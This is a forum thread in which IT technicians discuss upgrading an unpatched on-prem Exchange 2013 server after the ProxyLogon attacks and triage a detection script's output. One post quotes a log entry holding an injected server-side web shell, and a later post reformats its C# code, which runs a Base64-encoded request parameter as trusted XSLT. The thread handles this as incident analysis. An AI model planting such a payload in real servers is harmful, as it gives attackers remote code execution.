Updating CU version on on-prem Exchange server

[HCHTech]

I completely missed all of the hullabaloo in the past couple of months around on-prem Exchange as I had migrated all of my SMB clients to M365. I got a referral today from a client to "assess" his friend's company's on-prem Exchange server. So it looks like I didn't quite escape the drama after all. From a quick remote in, I can see that it is Exchange 2013 (running on Server 2012 R2), CU12. It's otherwise fully patched as far as that goes - no available updates found by a WU scan. Only 10 employees, so not a large database. Plenty of available disk space.

I've never had trouble loading a new CU before, but I don't think I've ever tried that far of a version change. Current is CU23. I've read about expired certs causing failures, so I've got that on my checklist, as well as doing an event log review and a fresh BPA run and addressing anything found there before attempting the upgrade. Obviously check backup status as well.

Anything else I should look out for?

 

[Sky-Knight]

Make sure you've got an image backup and let her rip... that's all I've ever done.

 

[SAFCasper]

Good chance the server has already been compromised if still running unpatched.

Run the TestProxyLogin script to see if it finds anything - https://github.com/microsoft/CSS-Exchange/tree/main/Security

Also run a scan with MSERT

 

[HCHTech]

Perfect - thanks guys.

MSERT Quick Scan says all clean, but the Test-ProxyLogon script is not as clear. Here is the output:



Taking the last result first, the "MAIL-other.csv" log - the files found are all part of my RMM Patch Management - so that's a false positive.

The ECP log results, I *do* see 'Set-OABVirtualDirectory entries, but they are difficult to interpret - here is one:

2021-03-24T13:42:19.759Z,MAIL,ECP.Request,"S:TIME=254;S:SID=fcc47336-5b14-44d6-8b94-ecccc3bf1ebb;'S:CMD=Set-OabVirtualDirectory.ExternalUrl=''https://ffff/#<script runat=""server""> var c=new System.Xml.XmlDocument();c.LoadXml(@""<root>1</root>"");xct.Load(b,System.Xml.Xsl.XsltSettings.TrustedXslt,new System.Xml.XmlUrlResolver());xct.Transform(c,null,new System.IO.MemoryStream());}</script>''.InternalUrl=''https://ffff/#<script runat=""server""> void Page_Load(){var b=new System.Xml.XmlDocument();b.LoadXml(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(Request[""b""])));var xct=new System.Xml.Xsl.XslCompiledTransform();</script>''.Identity=''c9f0b2f2-9e4e-4728-92de-575e2728fa1c''';S:REQID=;S:URL=/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=PivarNeAS06QShsPSsDe8YEWafhc8NgIlt8KMqV-9mzISKqdAdTjzAUmDYuOKAin6XtqmOElqAs.&a=%5D:444/ecp/UGIQ.js;S:EX=;S:ACTID=47911442-1f4b-4e8e-add8-ecf79d9d8f17;S:RS=0;S:BLD=15.0.1178.4"

Without any good or bad examples given, it's impossible to determine if this entry is proof of infection or a false positive.

It would seem simpler to just install the CU23 update rather to risk running the mitigation script. The Exchange server is a VM, so it's trivial to backup the vhdx file before starting the update.

For now, I'm running a full scan with MSERT, which will take a few hours, I suspect.

 

[YeOldeStonecat]

We had about...around a dozen clients left with on prem Exchange...when the Hafnium exploit broke out. None of my clients, but 2x of my colleagues still had clients on them....so we were tag teaming 'em. Some were managed, so already updated, and fine. Others were just break fix clients which we went and did anyways.

As you noticed, doing a "check for updates", if you're on an old version, may not present any CU updates, and will only present updates available for that current release. So you may think "It's all updated because it didn't show any available".

Some showed the latest CU as avail...and they'd do it.
And then once that was installed, and it bounced...sniff for more updates..and a bunch would show up.

Those that didn't show any CU as avail...I just already had the link copied in my clipboard...so I was just downloading that right away directly as I was remoting into clients servers...install that, bounce, sniff for updates...download/install what was left.

Some clients with servers that weren't regularly maintained....and running doggy, it was....time consuming to kick it in the arse to get things updated. Sometimes manually installing the CU...would start to hang. Reboot...try again...no love. BUT...trying to install it...yet failing...reboot...and then have it check for updates, and it would reveal itself as available via updates..download/install from there and it worked. Yet..manually trying to install didn't work. Drove me nuts, forced me to pour more shots of Jim Beam...but...take whatever approach works.

Yeah running the MSERT can take a day or three on some old dog Exchange servers..esp clients with under horsepowered SBS (which should have been retired of course...but ya know those cheap break/fix clients).

 

[HCHTech]

Just to circle back on this - the upgrade went fine - after fixing a certificate problem and installing one of the prerequisites pointed out by the first attempt to install the CU update. All in all, not too bad. I took yet another opportunity to ask about moving to M365 - which was politely refused. Not a cloud enthusiast, unfortunately. Engineers -

 

[trevm999]

Well, that certainly looks like an attempt to compromise. Trying to have a page with JavaScript where the content gets obscured by xml transforms as well as base64

 

[HCHTech]

Well, that certainly looks like an attempt to compromise. Trying to have a page with JavaScript where the content gets obscured by xml transforms as well as base64

I'm sorry, you lost me @trevm999 . Are you saying further action is required? The certificate problem was just an expiration, then once it was renewed (local CA) it took further tinkering to get it detected correctly. I'm not sure where you are going with the JavaScript comment...

 

[YeOldeStonecat]

Just to circle back on this - the upgrade went fine - after fixing a certificate problem and installing one of the prerequisites pointed out by the first attempt to install the CU update. All in all, not too bad. I took yet another opportunity to ask about moving to M365 - which was politely refused. Not a cloud enthusiast, unfortunately. Engineers -

Time to work on the sales pitch and beef it up!
We have a lot of engineering clients on 365. Side by side comparisons should sway them in the right direction. Monthly maintenance on local on prem Exchange is often overlooked...just the cost of that!

 

[Sky-Knight]

Yeah, on premise Exchange is a beast in licensing costs AND maintenance costs. If on premise is cheaper for your customer, you aren't billing enough! You have to be giving them free time, or letting them run without proper maintenance to pull that off.

 

[trevm999]

I'm sorry, you lost me @trevm999 . Are you saying further action is required? The certificate problem was just an expiration, then once it was renewed (local CA) it took further tinkering to get it detected correctly. I'm not sure where you are going with the JavaScript comment...

Sorry, mentioning JavaScript was probably misleading, since at first glance I assumed the goal there was going to opening a dummy page and then using javascript to show the content, but it looks like they're just using C# here.

I don't really know anything about the Exchange specific exploit, so I can't really tell you the full context of the chain of what they're trying to achieve here, and what happens if they did managed to achieve it, but this the code that it looks like they're trying to get injected into a page somewhere

void Page_Load()
{
    var b=new System.Xml.XmlDocument();
    b.LoadXml(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(Request["b"])));
    var xct=new System.Xml.Xsl.XslCompiledTransform();
    var c=new System.Xml.XmlDocument();
    c.LoadXml(@"<root>1</root>");
    xct.Load(b,System.Xml.Xsl.XsltSettings.TrustedXslt,new System.Xml.XmlUrlResolver());
    xct.Transform(c,null,new System.IO.MemoryStream());
}

So it looks like they're expecting to inject this code into a page that will receive a web request that has a Base64 encoded parameter, and whatever is in that payload would be the malicious content.